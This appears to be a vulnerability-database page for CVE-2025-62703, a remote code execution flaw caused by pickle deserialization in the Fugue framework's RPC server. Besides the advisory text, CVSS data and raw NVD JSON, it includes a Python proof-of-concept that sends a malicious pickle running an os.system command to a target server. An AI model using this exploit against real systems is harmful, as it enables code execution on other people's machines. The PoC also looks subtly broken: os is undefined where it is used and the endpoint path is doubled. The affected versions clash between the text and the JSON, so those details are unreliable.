Security Vulnerability Report
中文
CVE-2025-62703 CVSS 8.8 HIGH

CVE-2025-62703

Published: 2025-11-25 22:15:48
Last Modified: 2025-12-30 16:43:34

Description

Fugue is a unified interface for distributed computing that lets users execute Python, Pandas, and SQL code on Spark, Dask, and Ray with minimal rewrites. In version 0.9.2 and prior, there is a remote code execution vulnerability by pickle deserialization via FlaskRPCServer. The Fugue framework implements an RPC server system for distributed computing operations. In the core functionality of the RPC server implementation, I found that the _decode() function in fugue/rpc/flask.py directly uses cloudpickle.loads() to deserialize data without any sanitization. This creates a remote code execution vulnerability when malicious pickle data is processed by the RPC server. The vulnerability exists in the RPC communication mechanism where the client can send arbitrary serialized Python objects that will be deserialized on the server side, allowing attackers to execute arbitrary code on the victim's machine. This issue has been patched via commit 6f25326.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fugue-project:fugue:*:*:*:*:*:*:*:* - VULNERABLE
Fugue 0.9.2
Fugue <= 0.9.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import cloudpickle import requests import base64 # PoC for CVE-2025-62703: Fugue RCE via pickle deserialization # This demonstrates the vulnerability in FlaskRPCServer's _decode() function class MaliciousPayload: """ Malicious class that executes arbitrary code during unpickling """ def __reduce__(self): # Replace with actual malicious command cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) def generate_malicious_pickle(): """Generate malicious pickle payload""" import os payload = MaliciousPayload() serialized = cloudpickle.dumps(payload) return base64.b64encode(serialized).decode() def exploit_fugue_rpc(target_url): """ Send malicious payload to Fugue FlaskRPCServer Args: target_url: URL of the Fugue RPC server endpoint """ malicious_data = generate_malicious_pickle() # Send the malicious payload to the RPC server # The server will decode and unpickle this data without validation response = requests.post( f"{target_url}/rpc", json={"data": malicious_data}, headers={"Content-Type": "application/json"}, timeout=10 ) return response.status_code, response.text # Example usage if __name__ == "__main__": # Target should be the Fugue RPC server address target = "http://target:5555" status, resp = exploit_fugue_rpc(f"{target}/rpc") print(f"Status: {status}, Response: {resp}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62703", "sourceIdentifier": "[email protected]", "published": "2025-11-25T22:15:47.693", "lastModified": "2025-12-30T16:43:33.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fugue is a unified interface for distributed computing that lets users execute Python, Pandas, and SQL code on Spark, Dask, and Ray with minimal rewrites. In version 0.9.2 and prior, there is a remote code execution vulnerability by pickle deserialization via FlaskRPCServer. The Fugue framework implements an RPC server system for distributed computing operations. In the core functionality of the RPC server implementation, I found that the _decode() function in fugue/rpc/flask.py directly uses cloudpickle.loads() to deserialize data without any sanitization. This creates a remote code execution vulnerability when malicious pickle data is processed by the RPC server. The vulnerability exists in the RPC communication mechanism where the client can send arbitrary serialized Python objects that will be deserialized on the server side, allowing attackers to execute arbitrary code on the victim's machine. This issue has been patched via commit 6f25326."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fugue-project:fugue:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.9.1", "matchCriteriaId": "25F6AD6E-F16A-4E3A-B458-7FFC64C7FF4F"}]}]}], "references": [{"url": "https://github.com/fugue-project/fugue/commit/6f25326779fd1f528198098d6287c5a863176fc0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/fugue-project/fugue/security/advisories/GHSA-xv5p-fjw5-vrj6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/fugue-project/fugue/security/advisories/GHSA-xv5p-fjw5-vrj6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}